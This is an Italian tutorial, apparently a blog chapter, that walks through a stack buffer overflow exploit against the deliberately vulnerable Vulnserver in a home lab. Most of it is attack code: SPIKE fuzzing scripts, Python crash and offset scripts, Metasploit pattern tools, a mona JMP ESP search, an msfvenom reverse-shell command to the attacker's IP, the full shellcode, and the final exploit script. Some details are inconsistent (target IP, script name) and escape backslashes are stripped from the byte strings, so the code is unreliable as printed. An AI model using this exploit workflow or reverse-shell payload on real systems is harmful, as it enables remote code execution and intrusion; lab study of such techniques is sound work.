The Wolf
“Il Lupo”. Quando per la prima volta ho letto il titolo di questo terzo capitolo, ho creduto che il protagonista del “manifesto” si riferisse a sé stesso. In realtà, come il libro stesso spesso mostra tra le sue pagine, nulla è ciò che sembra. Ogni giorno ci confrontiamo ed osserviamo il mondo secondo il nostro punto di vista soggettivo, condizionati dalle nostre esperienze. Eppure quella stessa realtà che per noi è così chiara e ovvia, per altri potrebbe essere oscura. È davvero possibile definire qualcosa in maniera univoca, dare una connotazione unica a qualcosa? Basandosi su dati oggettivi, certo. Ma spesso, quei dati non dipendono proprio da chi li osserva?
Pensiamo ad una semplice interfaccia di login. C’è chi la guarda e vede un campo da compilare con i propri dati e chi, invece, una potenziale occasione per violare il sistema usando la tecnica di Buffer Overflow!
Cos’è il Buffer Overflow?
“[..] immaginate di portare talmente tante persone ad una festa da costringere il proprietario di casa a far spazio in un’altra stanza della sua casa, pur di farcele stare tutte. E voi, nel nuovo spazio vacante venutosi a creare, ci scavate un bel tunnel sotterraneo sino a casa vostra. (Demain Kurt)”.
Detto anche “Buffer Overrun”, è una condizione di errore che si verifica quando i dati in ingresso straripano in parti di memoria circostanti. Usando un gergo più tecnico, il Buffer Overflow si verifica quando la stringa in input risulta più grande del buffer dove dovrebbe essere immagazzinata l’informazione. Questo porta alla sovrascrittura delle zone di memoria adiacenti al buffer, corrompendo e sovrascrivendo i dati di quel determinato settore. Spesso l’overflow produce un crash dell’applicazione, ma crea l’opportunità per l’attaccante di eseguire il codice arbitrario.
Vediamo assieme come viene utilizzata questa tecnica, simulando l’attacco vero e proprio.
PARTE I – Preparazione dello scenario:
- Ambiente di virtualizzazione VirtualBox:
- https://www.virtualbox.org/
- Macchina Virtuale “attaccante”, Kali Linux, avente IP: 192.168.178.42
- https://www.kali.org/downloads/
- Macchina Virtuale “vittima”, Windows 10 64bit, IP: 192.168.178.38
- iso scaricabile con il tool di Microsoft “Media Creation Tool”: https://www.microsoft.com/it-it/software-download/windows10
La simulazione prevede che sulla nostra macchina “vittima” sia installata un’applicazione vulnerabile a questo tipo di attacco.
- L’applicazione vulnerabile al buffer overflow, da installare sulla macchina Windows 10, si chiama Vulnserver:
- Avremo anche bisogno dell’Immunity Debugger da scaricare ed installare sempre sulla nostra macchina vittima:
PARTE II – Stack
Durante l’esecuzione di un programma, la memoria del nostro calcolatore viene allocata per il suo utilizzo. Una parte di essa viene strutturata per il cosiddetto “Stack”.
Lo Stack potrebbe essere suddiviso in quattro parti:
- ESP – Extended Stack Pointer: indirizzo della locazione di memoria al TOP dello stack
- Buffer Space
- EBP – Extended Base Pointer: lo stack viene continuamente allocato e deallocato, il nostro registro EBP punta alla prima locazione di memoria.
- EIP – Extended Istruction Pointer: controlla il flusso del programma in esecuzione, puntando alla successiva istruzione da eseguire
Immaginiamo ora di avere dinanzi la nostra interfaccia di login, vulnerabile al buffer overflow, e di riempire lo spazio dedicato al “nome utente” con una serie di lettere “A”.
L’immagine d’esempio che segue, mostra l’equivalente di ciò che avverrebbe in memoria.
Trattandosi di un’applicazione vulnerabile, se continuiamo ad inserire lettere “A” nel campo “nome utente”, si verificherà uno “straripamento” dei dati in ingresso nelle zone di memoria adiacenti. Il risultato sarà una sovrascrittura dei registri EBP ed EIP (come mostrato nell’immagine successiva).
PARTE III – Il WorkFlow d’attacco
Possiamo pensare, per comodità, di suddividere il nostro attacco in sette fasi:
- Spiking
- Fuzzing
- The Offset
- Overwriting EIP
- Bad Characters
- Finding Module
- Shell Script
PARTE IV – Spiking
Accediamo alla nostra macchina vittima Windows 10 e lanciamo la nostra applicazione vulnerabile, facendo doppio click su: vulnserver.exe . Si aprirà la seguente shell dell’applicazione:
Apriamo anche l’Immunity Debugger, facendo “Attach” dell’applicazione. In questo modo, potremo seguire tutto ciò che avviene in memoria durante l’esecuzione dell’applicazione.
Clicchiamo quindi su “File” in alto a sinistra e selezioniamo la voce “attach”. Si aprirà una finestra per scegliere l’applicazione da “collegare”. Sceglieremo, ovviamente, la nostra “vuolnserver”.
A questo punto, apparirà il codice dell’applicazione e la sua allocazione in memoria.
Da notare che il programma è in stato di attesa, come suggerisce la scritta “Paused” evidenziata in giallo (in basso a destra).
Clicchiamo sul triangolo simile al tasto “Play” (nella barra in alto), per continuare l’avvio dell’applicazione. Vedremo che lo stato verrà modificato da “Paused” a “Running”.
Ora, lasciamo per un attimo la “vittima” e spostiamoci sulla nostra macchina “attaccante” Kali Linux. Iniziamo con una banale ricognizione sul nostro target, utilizzando il comando “nmap” (immagine seguente).
Oltre ai consueti servizi esposti da Windows, vi è la nostra applicazione vulnerabilie che espone i suoi servizi attraverso la porta 9999/tcp. “Service name” in running: abyss
Apriamo ora un secondo terminale e digitiamo nc -nv 192.168.178.39 9999 . Così facendo, stabiliremo una connessione attraverso il nostro programma vulnserver, utilizzando la porta 9999 per scoprire che cosa sia questo servizio abyss.
Ad accoglierci, un messaggio di benvenuto che suggerisce di scrivere “HELP” per saperne di più.
Digitandolo, noteremo che l’applicazione vulnserver accetta diversi comandi.
Il nostro obiettivo: capire quali di questi comandi, accettati dall’applicazione vulnserver, è vulnerabile all’attacco di buffer overflow.
Apriamo un terzo terminale e digitiamo il comando generic_send_tcp, dando invio.
Analizzando assieme la sintassi del comando, vediamo che:
- generic_send_tcp : nome del comando
- host: IP della vittima e porta
- spike_script: indica la necessità di un script .spk
- SKIPVAR e SKIPSTR: da settare entrambi con valore 0
L’unica cosa che ancora non abbiamo, quindi, è il nostro spike_script.
Andiamo quindi a creare il nostro script: da una finestra “terminal” già aperta, digitiamo vi code.spk ed inseriamo il seguente codice:
s_readline();
s_string(“STATS “); s_string_variable(“0”); |
Salviamo ed usciamo, digitando: wq
Analizziamo queste tre semplici righe di codice:
- Leggiamo una riga
- Prendiamo una stringa di testo, in questo caso “STATS” (che è uno dei comandi accettato dal nostro vulnserver)
- Inviamo “una variabile”
Una volta immesso il nostro script (code.spk) all’interno del comando generic_send_tcp, un ingente ed eccessivo numero di variabili verrà inviato al programma con l’intento di farlo crashare o provocare un risultato anomalo.
generic_send_tcp 192.168.178.38 9999 scode.spk 0 0
Immediatamente dopo aver premuto enter, il comando inizierà ad inviare una serie di richieste al vulnserver, attraverso la porta 9999 comando STATS, con l’invio di molteplici caratteri in loop.
Osserviamo adesso cosa è accaduto alla vittima attraverso l’Immunity Debugger.
Come possiamo notare, l’applicazione è rimasta nello stato “Running” e non è emersa alcuna anomalia.
Ma proviamo a cambiare il comando con cui inviamo l’overflow di variabili. Editiamo il nostro semplice spike script, inserendo al posto di “STATS” il comando “TRUN”.
s_readline();
s_string(“TRUN “); s_string_variable(“0”); |
Usciamo, salviamo e rilanciamo il generic_send_tcp, sempre attraverso il medesimo comando di prima:
generic_send_tcp 192.168.178.38 9999 scode.spk 0 0
Torniamo ora al nostro Immunity Debugger e vediamo cosa è accaduto.
Il risultato, questa volta, è completamente diverso. Il programma è passato in stato di “Paused” ed ha registrato un “Access violation” (immagini seguenti).
Inoltre, come possiamo vedere nel riquadro in alto a destra, i registri sono completamente sovrascritti da una serie di lettere “A” (vedere PARTE II – Stack).
PARTE V – Fuzzing
Ciò che adesso dobbiamo riuscire a capire è: quando avviene il buffer overflow?
Abbiamo scoperto che l’istruzione “TRUN” è vulnerabile a questa tecnica. Quindi, richiamando il comando e dandogli un numero “n” di caratteri (nel nostro esempio le lettere “A”), il programma crasha. Ma qual è il numero esatto di lettere “A” da inserire per farlo crashare? In altre parole, a che punto avviene il crash?
La risposta a questa domanda è di fondamentale importanza, poiché il nostro obiettivo è quello di manipolare il flusso del programma in modo da poterlo controllare.
Nel nostro programma il fulcro del controllo passa dal registro EIP, (Extend Instruction Pointer) che ne controlla l’esecuzione e punta alla prossima istruzione da eseguire.
Alla luce di questa nuova considerazione, potremmo ri-formulare la domanda in maniera più precisa e chiederci: qual è il numero di lettere “A” da inserire per arrivare a sovrascrivere (in memoria) i registri sino all’ EIP? Si tratta di individuare il nostro “offset”.
Cominciamo scrivendo il nostro script in Python e riprodurre il crash.
(I commenti in grassetto aiutano a comprendere lo script per chi non fosse pratico di Python)
#!/usr/bin/python # Dichiariamo che è uno script che utilizza il linguaggio PYTHON
import sys,socket # Invochiamo l’accesso al codice di un modulo ad un altro modulo (sys e socket) from time import sleep # Importiamo “sleep” buffer = “A” * 100 # All’interno di Buffer avremo la “A” ripetuta 100 volte while True: # Creiamo un loop costante se il valore booleano è true try: # Creiamo un oggetto socket con i parametri AF_INET → Indica Indirizzo IPv4 o Hostname e SOCK_STREAM → Indica che vogliamo creare un socket TCP s=socket.socket(socket.AF_INET ,socket.SOCK_STREAM) # Invio della connessione alla Macchina Vulnerabile
s.connect((‘192.168.178.38’,9999)) # Send Over questo messaggio TRUN + buffer s.send((‘TRUN /.:/’ + buffer)) # Chiusura della connessione s.close() # Blocco dell’esecuzione sleep(1) # Reinviamo un altro buffer # Per tutto il tempo in cui la connessione è stabilita continuiamo ad inviare il buffer 100, 200, 300 “A” buffer = buffer + “A”*100 # Una volta Crashato. Verificatasi l’eccezione….. except: # Facciamo il Print del Buffer print “Fuzzing crashed avvenuto al %s bytes” % str(len(buffer)) sys.exit() |
Una volta scritto lo script, gli assegneremo i permessi d’esecuzione con il comando: chmod +x nomescript .
Torniamo sulla nostra macchina vittima, chiudiamo l’Immunity Debugger, avviamo l’applicazione vulnserver e riapriamo l’Immunity agganciando l’applicazione (il processo iniziale che abbiamo già fatto e che ripeteremo più volte. Vedi PARTE IV). Ricordiamoci di schiacciare il tasto “play”, altrimenti il programma rimarrà in pausa.
Adesso lanciamo il nostro script, facendo attenzione a terminarlo con ctrl+c. una volta che l’applicazione sarà crashata (l’Immunity Debugger darà l’errore che abbiamo già visto, mettendo in pausa l’esecuzione del programma).
Avviamo il nostro script: ./f1.py
Come è possibile vedere dalla seguente immagine, l’“Access violation” avviene circa a 2100 bytes .
Ci stiamo avvicinando, ma non conosciamo ancora la posizione precisa dell’offset.
PARTE VI – The Offset
Per identificare in maniera precisa l’offset può rivelarsi utile un tool di metasploit:
pattern_create.rb
Locato nel folder /usr/share/metasploit-framework/tools/exploit, ci consente di creare una lista di caratteri di “buzzing” per identificare l’esatto offset.
Abbiamo precedentemente detto che il crash avviene a circa 2100 bytes, quindi l’offset dovrà necessariamente essere all’interno di questo range. Proviamo quindi a creare un pattern di tale lunghezza:
./pattern_create.rb -l 2100
Il risultato sarà:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5 Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1A f2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8 Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak 7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2 An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap 8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As 5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2 Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7A x8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba 5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd 2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0 Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8 Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl 8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2B o3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9 Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8 Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4 Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1 Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb 9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6C e7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5 Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5 Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn 2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp 9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9 |
Adesso non avremo più bisogno di un loop che saturi incrementalmente il comando TRUN di lettere “A”, ma conoscendo “la lunghezza” di caratteri entro cui avviene il crash, basterà modificare il nostro script in Python come segue:
import sys,socket
# Dichiariamo una nuova variabile chiamata offset offset = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5A try: s=socket.socket(socket.AF_INET ,socket.SOCK_STREAM) s.connect((‘192.168.178.38’,9999)) # La aggiungiamo al comando TRUN “+offset” s.send((‘TRUN /.:/’ + offset)) s.close() except: print “Impossibile Connettersi al server” sys.exit() |
Ora torniamo sulla macchina Windows e riavviamo il vulnserver e il debugger, come già fatto, e schiacciamo su “play/run”.
Torniamo poi sulla macchina Kali ed avviamo il nostro script appena modificato: ./o2.py
Ancora una volta, sulla macchina vittima, avverrà il crash. Tuttavia, questa volta, il registro EIP non conterrà più le lettere “A”, ma il seguente valore: 386F4337 .
Utilizzando il seguente valore contenuto nel registro EIP ed un nuovo tool di metasploit, potremo infine identificare con precisione il nostro offset.
Il tool si trova sempre al medesimo percorso: /usr/share/metasploit-framework/tools/exploit .
La sintassi del comando è: ./pattern_offset.rb “la lunghezza del pattern utilizzato” “il nuovo valore contenuto nel registro EIP”:
./pattern_offset.rb -l 2100 -q 386F4337
Così, otterremo finalmente il nostro offset: 2003 (immagine seguente)!
PARTE VII – Overwriting the EIP
Verifichiamo che 2003 sia effettivamente la lunghezza esatta del nostro offset, testando che i quattro bytes successivi sovrascrivano il registro EIP.
Per farlo, ricorriamo sempre al nostro script e riscriviamo la stringa in questo modo:
shellcode = “A” * 2003 + “B” * 4
Saturiamo l’offset di lettere “A” e, giunti al registro EIP, lo sovrascriviamo con quattro lettere “B”.
import sys,socket
shellcode = “A” * 2003 + “B” * 4 try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((‘192.168.178.38’,9999)) s.send((‘TRUN /.:/’ + shellcode)) s.close() except: print “Impossibile Connettersi al server” sys.exit() |
Riavviamo l’Immunity Debugger e il vulnserver, con l’ormai consueto processo, ed avviamo lo script come abbiamo già fatto in precedenza (sulla macchina Kali).
Pochi secondi dopo l’avvio dello script si verificherà il crash.
Possiamo quindi affermare (come evidenziato nell’immagine) di controllare il registro EIP, avendolo sovrascritto con “42 42 42 42”. In ASCII la codifica della lettera “B” è proprio 42: il registro EIP contiene quindi quattro lettere “B”.
PARTE VIII – Bad Characters
Ora che controlliamo il flusso d’esecuzione del programma vulnerabile, dobbiamo essere certi che il nostro payload non crashi a causa di caratteri non “tollerati/incompatibili” con l’applicazione.
La prima cosa da fare sarà, quindi, procurarsi una lista di badcharacters. Per farlo basterà Googlare “bad characters” per ottenerne una lista completa.
Inseriamoli adesso nel nostro script modificandolo come segue:
import sys,socket
# Lista dei caratteri “bad”
badchars = (“x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10x11x12x13x14x15 “x20x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37 “x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58 “x60x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77 “x80x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97 “xa0xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8 “xc0xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8 “xe0xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9 # Aggiungiamo, dopo esser giunti al registro EIP ed averlo sovrascritto con quattro lettere “B”, i caratteri “bad” nell’applicazione vulnerabile
shellcode = “A” * 2003 + “B” * 4 + badchars try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((‘192.168.178.38’,9999)) s.send((‘TRUN /.:/’ + shellcode)) s.close() except: print “Impossibile Connettersi al server” sys.exit() |
Ora, rieseguiamo la procedura di crash dell’applicazione. Ciò che dobbiamo fare è controllare che in memoria ci sia tutta la sequenza del buffer di “badchars” inviata. Se all’interno della memoria il normale flusso di informazioni viene omesso o alterato, il carattere non presente nel dump sarà quello responsabile del crash.
In altre parole, la prima riga del nostro buffer è:
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10x11x12
Quindi, controlliamo che in memoria sia presente in maniera identica: all’interno dell’Immunity Debugger, clicchiamo con il tasto destro del mouse in corrispondenza del registro ESP e selezioniamo “Follow in Dump”.
In basso a sinistra, dovremo vedere gli stessi caratteri inseriti nel buffer:
Non essendoci nessuna alterazione nella sequenza, l’unico carattere da escludere sarà il null /x00/ .
PARTE IX – Finding the right module
Ricapitolando le nostre azioni, ora abbiamo:
- lo spazio in memoria per allocare il nostro shellcode, accessibile attraverso il registro ESP;
- il controllo del registro EIP (con le quattro “B”, 42424242);
- verificato i “bad characters”.
Ora dobbiamo trovare un modo per far sì che nel momento del crash dell’applicazione, il flusso di esecuzione del programma venga indirizzato al nostro payload, allocato all’indirizzo di memoria contenuto nel registro ESP. Teoricamente non dovremmo far altro che sostituire le quattro “B” che sovrascrivono il registro EIP, con l’indirizzo di memoria contenuto nel registro ESP al momento del crash. Tuttavia, il valore del registro ESP cambia da crash a crash.
Rimane, però, un’altra via: durante il processo d’esecuzione di un’applicazione, essa non viene caricata in memoria da sola ma assieme a DLL, drivers e moduli contenenti funzioni extra e dati (in molti casi è l’applicazione stessa che nel momento della sua installazione provvede ad installare chiavi di registro, DLL e drivers necessari alla sua esecuzione). La chiave sta nel fatto che l’indirizzo di “jump” a questi moduli o applicazioni, è sempre il medesimo all’interno della memoria e non cambia da reboot a reboot.
Quindi, se riuscissimo a trovare un indirizzo di memoria con permessi sia “d’esecuzione” che di “lettura” e che contenga un’istruzione come JMP ESP cioè “Jump to ESP” (“salta al registro ESP”), potremmo reindirizzare il flusso d’esecuzione del programma al nostro payload.
Procediamo un passo alla volta.
La prima cosa da fare è utilizzare all’interno dell’ Immunity Debugger un tool conosciuto come “mona module”, scaricabile al seguente indirizzo: https://github.com/corelan/mona
Questo tool dovrà essere successivamente copiato nella cartella PyCommands, dell’Immunity Debugger:
C:Program Files (x86)Immunity IncImmunity DebuggerPyCommands
Una volta copiato, ripeteremo la procedura avviando l’immunity Debugger e agganciando l’applicazione vulnserver. Nella barra del debugger (sotto) richiamiamo il tool scrivendo: !mona module .
Ci apparirà una lista di DLL, da cui selezionare quella che ha tutte le “memory protection” al valore “false”. Vale a dire che sceglieremo la DLL senza protezioni.
Come emerge dalla figura seguente, la prima DLL potrebbe essere proprio il nostro candidato ideale: essfunc.dll
Ci resta da capire dove sia la nostra istruzione di JMP.
Torniamo per un attimo sulla nostra macchina Kali ed utilizziamo un nuovo script, chiamato nasm_shell.rb
Per trovarlo, digitiamo locate nasm_shell.rb
Una volta lanciato, ciò che ci interessa sapere è quale sia l’opcode (il codice operativo) dell’istruzione che stiamo cercando: JMP ESP.
Quindi, dopo aver lanciato lo script digitiamo JMP ESP: l’opcode equivalente risulterà FFE4 .
Ma, all’interno della DLL senza protezioni “essfunc.dll”, dove si trova l’istruzione di jump (JMP)?
Per scoprirlo dobbiamo ricorrere ad un’altra funzione di “mona”:
!mona find -s “xffxe4” -m essfunc.dll
- xffxe4 è il codice dell’istruzione di JMP che abbiamo trovato prima usando nasm
- FFE4 in endian (scritto al contrario);
- dll è il nome della nostra DLL
Il risultato del comando è un indirizzo di cui prenderemo nota: 625011af (immagine seguente).
Torniamo al nostro script e modifichiamo ancora una volta come segue:
import sys,socket
#Inseriamo dopo l’offset nel registro EIP, l’indirizzo di JMP che abbiamo trovato, relativo alla DLL non protetta essfunc.dll shellcode = “A” * 2003 + “xafx11x50x62” try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((‘192.168.178.38’,9999)) s.send((‘TRUN /.:/’ + shellcode)) s.close() except: print “Impossibile Connettersi al server” sys.exit() |
L’indirizzo è scritto al contrario, a coppie di due (da destra verso sinistra), perché l’architettura x86 salva l’indirizzo in memoria nel formato little-endian.
Riapriamo il debugger ed assicuriamoci che le cose vadano come previsto. In alto, sulla barra, vi è una freccia blu scuro, clicchiamola ed inseriamo la locazione di memoria dove ci aspettiamo l’istruzione di JMP, 625011af. Selezioniamola e settiamo un “breakpoint” cliccando su F2. Tale operazione permetterà, alla prossima esecuzione del nostro script modificato, di mettere in pausa il programma una volta raggiunta quell’istruzione al dato indirizzo.
Possiamo ormai affermare che, all’interno dell’EIP, è stata inserita l’istruzione di JMP alla nostra dll.
PARTE X – Shellscript
Adesso che è tutto pronto, non rimane che creare il nostro shellcode. Torniamo sulla nostra macchina Kali e digitiamo:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.178.42 LPORT=4444 EXITFUNC=thread -f c -b “x00”
Analizziamo il comando:
- p: specifica la tipologia di payload da utilizzare;
- windows/shell_reverse_tcp o windows/shell_reverse_tcp : directory del payload per tipologia;
- LHOST: IP della macchina attaccante su cui vogliamo il reverse shell;
- LPORT: porta della macchina attaccante su cui desideravo che punti il reverse shell;
- EXITFUNC: aiuta a non produrre crash dell’applicazione e permette il running mentre l’exploit gira indisturbato sulla macchina vittima;
- f: formato dell’output “C” in questo caso;
- b: i “bad characters” da non includere nel payload.
“xd9xc1xd9x74x24xf4x5bx29xc9xb8xdax88x86x10xb1”
“x52x83xc3x04x31x43x13x03x99x9bx64xe5xe1x74xea” “x06x19x85x8bx8fxfcxb4x8bxf4x75xe6x3bx7exdbx0b” “xb7xd2xcfx98xb5xfaxe0x29x73xddxcfxaax28x1dx4e” “x29x33x72xb0x10xfcx87xb1x55xe1x6axe3x0ex6dxd8” “x13x3ax3bxe1x98x70xadx61x7dxc0xccx40xd0x5ax97” “x42xd3x8fxa3xcaxcbxccx8ex85x60x26x64x14xa0x76” “x85xbbx8dxb6x74xc5xcax71x67xb0x22x82x1axc3xf1” “xf8xc0x46xe1x5bx82xf1xcdx5ax47x67x86x51x2cxe3” “xc0x75xb3x20x7bx81x38xc7xabx03x7axecx6fx4fxd8” “x8dx36x35x8fxb2x28x96x70x17x23x3bx64x2ax6ex54” “x49x07x90xa4xc5x10xe3x96x4ax8bx6bx9bx03x15x6c” “xdcx39xe1xe2x23xc2x12x2bxe0x96x42x43xc1x96x08” “x93xeex42x9exc3x40x3dx5fxb3x20xedx37xd9xaexd2” “x28xe2x64x7bxc2x19xefx44xbbx93xc5x2cxbexd3x08” “xf1x37x35x40x19x1exeexfdx80x3bx64x9fx4dx96x01” “x9fxc6x15xf6x6ex2fx53xe4x07xdfx2ex56x81xe0x84” “xfex4dx72x43xfex18x6fxdcxa9x4dx41x15x3fx60xf8” “x8fx5dx79x9cxe8xe5xa6x5dxf6xe4x2bxd9xdcxf6xf5” “xe2x58xa2xa9xb4x36x1cx0cx6fxf9xf6xc6xdcx53x9e” “x9fx2ex64xd8x9fx7ax12x04x11xd3x63x3bx9exb3x63” “x44xc2x23x8bx9fx46x43x6ex35xb3xecx37xdcx7ex71” “xc8x0bxbcx8cx4bxb9x3dx6bx53xc8x38x37xd3x21x31” “x28xb6x45xe6x49x93”; |
Infine, non rimane che modificare il nostro script per l’ultima volta e vedere se funziona.
#!/usr/bin/python
import sys,socket # il nostro shellcode, generato con msfvenom overflow = (“xd9xc1xd9x74x24xf4x5bx29xc9xb8xdax88x86x10xb1” “x52x83xc3x04x31x43x13x03x99x9bx64xe5xe1x74xea” “x06x19x85x8bx8fxfcxb4x8bxf4x75xe6x3bx7exdbx0b” “xb7xd2xcfx98xb5xfaxe0x29x73xddxcfxaax28x1dx4e” “x29x33x72xb0x10xfcx87xb1x55xe1x6axe3x0ex6dxd8” “x13x3ax3bxe1x98x70xadx61x7dxc0xccx40xd0x5ax97” “x42xd3x8fxa3xcaxcbxccx8ex85x60x26x64x14xa0x76” “x85xbbx8dxb6x74xc5xcax71x67xb0x22x82x1axc3xf1” “xf8xc0x46xe1x5bx82xf1xcdx5ax47x67x86x51x2cxe3” “xc0x75xb3x20x7bx81x38xc7xabx03x7axecx6fx4fxd8” “x8dx36x35x8fxb2x28x96x70x17x23x3bx64x2ax6ex54” “x49x07x90xa4xc5x10xe3x96x4ax8bx6bx9bx03x15x6c” “xdcx39xe1xe2x23xc2x12x2bxe0x96x42x43xc1x96x08” “x93xeex42x9exc3x40x3dx5fxb3x20xedx37xd9xaexd2” “x28xe2x64x7bxc2x19xefx44xbbx93xc5x2cxbexd3x08” “xf1x37x35x40x19x1exeexfdx80x3bx64x9fx4dx96x01” “x9fxc6x15xf6x6ex2fx53xe4x07xdfx2ex56x81xe0x84” “xfex4dx72x43xfex18x6fxdcxa9x4dx41x15x3fx60xf8” “x8fx5dx79x9cxe8xe5xa6x5dxf6xe4x2bxd9xdcxf6xf5” “xe2x58xa2xa9xb4x36x1cx0cx6fxf9xf6xc6xdcx53x9e” “x9fx2ex64xd8x9fx7ax12x04x11xd3x63x3bx9exb3x63” “x44xc2x23x8bx9fx46x43x6ex35xb3xecx37xdcx7ex71” “xc8x0bxbcx8cx4bxb9x3dx6bx53xc8x38x37xd3x21x31” “x28xb6x45xe6x49x93”); #Istruzione di Injection dello shellcode shellcode = “A” * 2003 + “xafx11x50x62” + “x90” * 32 + overflow try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((‘192.168.178.38’,9999)) s.send((‘TRUN /.:/’ + shellcode)) s.close() except: print “Impossibile Connettersi al server” sys.exit() |
Analizziamo più approfonditamente la riga dell’injection, che rappresenta l’atto finale dei nostri sforzi:
shellcode = “A” * 2003 + “xafx11x50x62” + “x90” * 32 + overflow
